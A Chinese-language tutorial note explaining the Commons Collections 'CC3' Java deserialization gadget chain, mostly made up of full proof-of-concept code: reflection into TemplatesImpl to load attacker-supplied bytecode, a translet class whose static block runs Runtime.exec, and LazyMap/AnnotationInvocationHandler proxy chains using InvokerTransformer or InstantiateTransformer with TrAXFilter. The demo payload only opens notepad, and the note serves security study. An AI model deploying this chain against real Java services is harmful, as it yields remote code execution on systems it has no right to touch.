cc3这条链和前面的cc1和cc6是不同的,这个执行命令用的是动态类加载

不是Runtime.getRuntime.exec()

InvokerTransformer

所以说学这条链子之前得去学下啥是动态类加载

因为动态类加载的时候会调用loadclass,然后loadclass最后就会调用到defineclass,然后因为最后调用的defineclass不是public的,所以我们得去找哪个类里边重写了这个函数,并且是public的

image-20230321221053484

这个函数参数的找不到有重写然后是public的调用他

然后发现了这种类型的defineclass有函数调用

image-20230321221604507

然后还是default类型的(这个类型说明了这个包里可以调用他)

然后我们跟进去,看谁调用了这个default的defineclass

image-20230321221849460

在他自身类里边的这个函数调用了default方法,但是这个是private的,所以我们就继续找哪个public调用了他

image-20230321222150282

然后找到了一个private方法里面有个实例化的方法,

所以我们就接着往下找,找哪个public方法里面调用了他

image-20230321222331758

最后找到这个public就找完了

然后我们就得想想怎么控制这个实例化对象

image-20230322194209379

然后看到上图就看到了defineTransletClasses()这个函数方法是可以赋值传参的

image-20230322194315725

在满足上面的条件后就可以进行赋值了

通过上面的寻找,发现找的函数方法全在TemplatesImpI这个类里边,并且这个类还可以进行序列化,那么这个里面里边的参数我们就都可以进行控制了(反射)

image-20230322194840494

第一步的出发点得用这个来触发defineClass

image-20230322195037005

image-20230322195128556

image-20230322195140695

这里话我们是想先去调用第二个if里边的函数方法,来给下面的实例化对象赋值

跟进这个函数后(就会发现有两个if必须满足,因为第一个如果不满足的话就会抛异常,第二个是因为得给他赋值让他调用函数方法)这里赋值的原因是因为这个TemplatesImpI类的构造函数没有进行赋值

image-20230322195459426

所以接下来我们开始进行赋值,先从getTransletInstance()这个函数开始,就是献给name赋值

然后再给_bytecodes赋值,因为就是不能让他抛异常(这里给bytecodes赋值是有讲究的)实例化时需要的类是由bytecodes赋值的,而且还由于最后的defineclass()函数,这里的话bytecodes的类型还是得进行限制的

image-20230322201130287

image-20230322201336724

image-20230322201345186

最后写出来的成果

因为类里边的bytecodes是个二维数组,所以初始化的时候就先给他变为二维数组,然后因为得需要他的一维数组进行赋值,所以在嵌套一个一维数组

然后最后还有一个_tfactory没有进行赋值,所以我们就得对他进行赋值,不然会报错

image-20230322202030498

这就是他的类型(然后这个参数是transient,就是不可以进行序列化的意思)

所以我们就猜它是在readObject里面进行赋值的

image-20230322202306042

最下面就看到它了

image-20230322202519552

赋值成功

然后运行发现没成功(发现在defineTransletClasses这个函数里边的下面那个参数为空,然后爆了空指针错误)

image-20230322203013541

但是单休改这个参数没啥大的意义,因为transletIndex值为-1,到了下面的if判断还是会抛异常出错

image-20230322203529965

所以我们就先得满足这个

image-20230322203759237

让他的值不为-1,然后跟进去后发现

image-20230322203953283

这里要求要和superClass里面的类相等,所以我们就得在弹计算器的类里边更改

cc3完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class cc3 {

public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field field = tc.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates,"aaa");
Field field1 = tc.getDeclaredField("_bytecodes");
field1.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
byte[][] codes = {code};
field1.set(templates,codes);
Field field2 = tc.getDeclaredField("_tfactory");
field2.setAccessible(true);
field2.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

}

}

test.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package org.example;
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("notepad");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

上面写的代码是对这条链子的一个基本解释,接下来我们用cc1里的方法来对上面的代码进行反序列化操作

image-20230322214845664

然后我们再把cc1后面的代码拿过来 就可以了,cc1的代码只是为了来触发transform.

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {

public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field field = tc.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates,"aaa");
Field field1 = tc.getDeclaredField("_bytecodes");
field1.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class"));
byte[][] codes = {code};
field1.set(templates,codes);
Field field2 = tc.getDeclaredField("_tfactory");
field2.setAccessible(true);
field2.set(templates,new TransformerFactoryImpl());
//templates.newTransformer();

Transformer[] transformers = new Transformer[]
{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class},h);
Object o = constructor.newInstance(Override.class,map);
//serialize(o);
unserialize("a.bin");

}
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

上面的是利用InvokerTransformer

InstantiateTransformerTrAXFilter

这个链子是在InvokerTransformer这个被禁的时候来替代的类

InvokerTransformer这个被禁了之后就调用不了newTransformer方法了,所以我们得去找一下还有谁能掉用newTransformer方法

image-20230521185623140

然后找到了这个类来调用了newTransformer方法 但是这个不能进行反序列化,因为没有继承于serialize

所以我们就得像使用Runtime类一样用这个类了

这里话发现这条链子的作者就发现了InstantiateTransformer类可以满足条件

image-20230521190132739

TrAXFilter实例化的时候就会调用到他里边的构造方法

image-20230521190235921

然后就调用到newTransformer方法了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"translet");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("C://Users//25302//Desktop//program//Test.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);
// Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap =new HashMap<>();
Map decoratetransfored = LazyMap.decorate(hashMap, chainedTransformer);
//得到Annotationtransform对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Target.class, decoratetransfored);
Map map = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, map);
serialize(o1);
unserialize("ser.bin");
}
public static void serialize(Object o) throws IOException {
ObjectOutputStream objectOutputStream=new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream =new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
Object o = objectInputStream.readObject();
return o;
}
}

image-20230521190547007

只是修改了这部分,就是用InstantiateTransformerTrAXFilter类替代了InvokerTransformer

然后其他步骤就和上面一样了

image-20230520003536842

只是修改了执行代码的部分,前面的可以通过cc1或者cc6来进行拼接

最上面的是cc1

最下面的是cc6 ——> 就是把AnnotationInvocationHandler被禁掉的,然后

HashMap来替代的一种方法